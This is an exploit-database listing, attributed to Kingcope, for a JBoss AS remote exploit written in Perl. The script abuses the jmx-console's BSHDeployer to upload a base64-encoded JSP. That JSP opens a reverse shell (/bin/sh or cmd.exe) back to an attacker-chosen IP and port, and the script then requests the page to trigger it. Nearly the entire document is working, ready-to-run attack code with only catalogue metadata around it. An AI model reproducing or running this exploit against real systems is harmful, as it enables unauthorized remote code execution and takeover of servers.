Author

Kingcope

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-15538

Category

web applications

Date add

05-03-2011

Platform

jsp

#JBoss AS Remote Exploit
#by Kingcope
#####
 
use IO::Socket;
use LWP::UserAgent;
use URI::Escape;
use MIME::Base64;
 
sub usage {
    print "JBoss AS Remote Exploit\nby Kingcope\n\nusage: perl jboss.pl <target> <targetport> <yourip> <yourport> <win/lnx>\n";
    print "example: perl daytona.pl 192.168.2.10 8080 192.168.2.2 443 lnx\n";
    exit;
}
 
if ($#ARGV != 4) { usage; }
 
$host = $ARGV[0];
$port = $ARGV[1];
$myip = $ARGV[2];
$myport = $ARGV[3];
$com = $ARGV[4];
 
if ($com eq "lnx") {
    $comspec = "/bin/sh";
}
 
if ($com eq "win") {
    $comspec = "cmd.exe";
}
 
$|=1;
 
$jsp="
<%@
page import=\"java.lang.*, java.util.*, java.io.*, java.net.*\"
%>
            <%!
                static class StreamConnector extends Thread
                {
                    InputStream is;
                    OutputStream os;
 
                    StreamConnector( InputStream is, OutputStream os )
                    {
                        this.is = is;
                        this.os = os;
                    }
 
                    public void run()
                    {
                        BufferedReader in  = null;
                        BufferedWriter out = null;
                        try
                        {
                            in  = new BufferedReader( new InputStreamReader( this.is ) );
                            out = new BufferedWriter( new OutputStreamWriter( this.os ) );
                            char buffer[] = new char[8192];
                            int length;
                            while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
                            {
                                out.write( buffer, 0, length );
                                out.flush();
                            }
                        } catch( Exception e ){}
                        try
                        {
                            if( in != null )
                                in.close();
                            if( out != null )
                                out.close();
                        } catch( Exception e ){}
                    }
                }
            %>
            <%
                try
                {
                    Socket socket = new Socket( \"$myip\", $myport );
                    Process process = Runtime.getRuntime().exec( \"$comspec\" );
                    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
                    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
                } catch( Exception e ) {}
            %>";
 
#print $jsp;exit;
 
srand(time());
 
sub randstr
{
    my $length_of_randomstring=shift;# the length of
             # the random string to generate
 
    my @chars=('a'..'z','A'..'Z','0'..'9','_');
    my $random_string;
    foreach (1..$length_of_randomstring)
    {
        # rand @chars will generate a random
        # number between 0 and scalar @chars
        $random_string.=$chars[rand @chars];
    }
    return $random_string;
}
 
$appbase = randstr(8);
$jspname = randstr(8);
 
print "APPBASE=$appbase\nJSPNAME=$jspname\n";
 
$bsh_script =
qq{import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;
 
String val = "} . encode_base64($jsp, "") .  qq{";
 
BASE64Decoder decoder = new BASE64Decoder();
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/} . $appbase . ".war" . qq{").mkdir();
byte[] byteval = decoder.decodeBuffer(val);
String jsp_file = jboss_home + "/deploy/} . $appbase . ".war/" . $jspname . ".jsp" . qq{";
FileOutputStream fstream = new FileOutputStream(jsp_file);
fstream.write(byteval);
fstream.close(); };
 
#
# UPLOAD
#
     
$params = 'action=invokeOpByName&name=jboss.deployer:service=BSHDeployer&methodName=createScriptDeployment&argType=java.lang.String&arg0=' . uri_escape($bsh_script)
.
'&argType=java.lang.String&arg1=' . randstr(8) . '.bsh';
 
my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13");
 
my $req = HTTP::Request->new(POST => "http://$host:$port/jmx-console/HtmlAdaptor");
  $req->content_type('application/x-www-form-urlencoded');
  $req->content($params);
    
  print "UPLOAD... ";
  my $res = $ua->request($req);
 
  if ($res->is_success) {
      print "SUCCESS\n";
      print "EXECUTE";
      sleep(5);
      $uri = '/' . $appbase . '/' . $jspname . '.jsp';
       
      for ($k=0;$k<10;$k++) {
      my $ua = LWP::UserAgent->new;
      $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13");
      my $req = HTTP::Request->new(GET => "http://$host:$port$uri");
      my $res = $ua->request($req);
 
        if ($res->is_success) {
            print "\nSUCCESS\n";
            exit;
        } else {
            print ".";
#               print $res->status_line."\n";
 
            sleep(5);
        }
      }
      print "UNSUCCESSFUL\n";
  }
  else {
      print "UNSUCCESSFUL\n";
      print $res->status_line, "\n";
      exit;
  }



#  0day.today [2024-11-16]  #